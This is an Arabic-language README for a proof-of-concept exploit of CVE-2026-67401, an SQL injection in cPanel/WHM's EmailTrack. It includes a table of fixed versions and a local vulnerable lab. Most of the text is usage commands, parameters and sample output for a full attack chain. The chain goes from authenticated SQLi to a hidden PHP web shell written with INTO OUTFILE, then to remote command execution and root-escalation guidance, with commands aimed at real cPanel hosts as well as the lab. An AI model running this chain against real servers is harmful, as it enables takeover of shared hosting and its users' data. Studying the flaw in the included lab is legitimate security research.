
إثبات مفهوم لـ CVE-2026-67401، وهو حقن SQL في EmailTrack الخاص بـ cPanel/WHM يتيح الكتابة التعسفية للملفات وتنفيذ الأوامر عن بُعد بصلاحيات الجذر (root RCE)، مع مجسّات كشف حقن SQL ومختبر معرّض للثغرة قائم بذاته.
إثبات مفهوم لـ CVE-2026-67401، وهي ثغرة حقن SQL حرجة في وظيفة EmailTrack في cPanel & WHM تتيح لمستخدم مُصادَق عليه يمتلك صلاحيات متعلقة بالبريد كتابة ملفات عشوائية وتنفيذ تعليمات برمجية بصلاحيات root.
اكتشفها: Ali Mustafa أُعلن عنها: 8 سبتمبر 2026 المكوّن: EmailTrack (تسجيل/تتبع تسليم البريد)
الإصدارات الأقدم من الإصدارات المُصلَّحة عرضة للثغرة.
| سلسلة إصدارات cPanel | الإصدار المُصلَّح |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
تحقق من إصدارك باستخدام:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account في EmailTrack.SELECT ... INTO OUTFILE في public_html/.| الملف | الوصف |
|---|---|
poc_sqli.py | كشف حقن SQL: القائم على القيم المنطقية، والقائم على الوقت، وعدّ أعمدة UNION |
poc_full_chain.py | سلسلة الاستغلال الكاملة: SQLi ← قشرة ويب عبر INTO OUTFILE ← تنفيذ أوامر عن بُعد ← إرشادات رفع الصلاحيات إلى root |
lab/vuln_server.py | محاكاة محلية لخادم EmailTrack الخلفي المصاب (آمنة ومكتفية ذاتيًا) |
README.md | هذا المستند |
تتيح لك المختبر المرفق تشغيل والتحقق من السلسلة الكاملة دون الحاجة إلى خادم cPanel حقيقي.
تُنفَّذ جميع الأوامر من جذر المستودع.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP()،
وINTO OUTFILE، وتنفيذ قشرة ويب PHP.18123)lab/htdocs)اترك هذا قيد التشغيل في طرفية واحدة واستخدم طرفية ثانية لإثباتات المفهوم.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| المعامل | الوصف |
|---|---|
-H, --host | مضيف cPanel، مثل https://cp.example.com:2083 |
-u, --username | حساب cPanel الذي يمتلك صلاحيات البريد |
-p, --password | كلمة مرور الحساب |
--param | المعامل القابل للحقن (الافتراضي: account) |
--mode | detect (الافتراضي)، أو boolean، أو timing، أو union، أو all |
--sleep | مدة SLEEP() لمسبار التوقيت (الافتراضي: 3.0) |
--dump-version | محاولة استخراج إصدار نظام إدارة قواعد البيانات عبر UNION |
--insecure | تخطي التحقق من شهادة TLS |
تشغيل مسبار محدد:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| المعامل / متغير البيئة | الوصف |
|---|---|
host (موضعي) | مضيف cPanel، أو عيّن متغير البيئة CPANEL_HOST |
CPANEL_USER | حساب cPanel الذي يمتلك صلاحيات البريد |
CPANEL_PASS | كلمة مرور الحساب |
--shell-base | عنوان URL الأساسي الذي يخدم public_html (حيث يتم الوصول إلى قشرة الويب) |
--insecure | تخطي التحقق من شهادة TLS |
--no-escalate | التوقف بعد تنفيذ الأوامر عن بُعد؛ تخطي إرشادات رفع الصلاحيات إلى root |
SHELL_NAME (متغير بيئة) | اسم ملف قشرة الويب (الافتراضي: .mail.cache.php) |
المراحل المُنفَّذة تلقائيًا:
SELECT ... INTO OUTFILEid، whoami، تعداد SUID، …)whmapi1، cron، قائمة المهام)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
ملاحظة: القيمة الافتراضية لـ
--shell-baseتُزيل منفذ cPanel الخاص فقط (2082/2083) من المضيف. إذا كان جذر المستندات يُخدَم على منفذ مختلف، فعيّنه صراحةً.
المخرجات الناتجة ضد المختبر المرفق:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
صدر لأغراض تعليمية وأغراض البحث الأمني المصرّح به. راجع إخلاء المسؤولية قبل الاستخدام.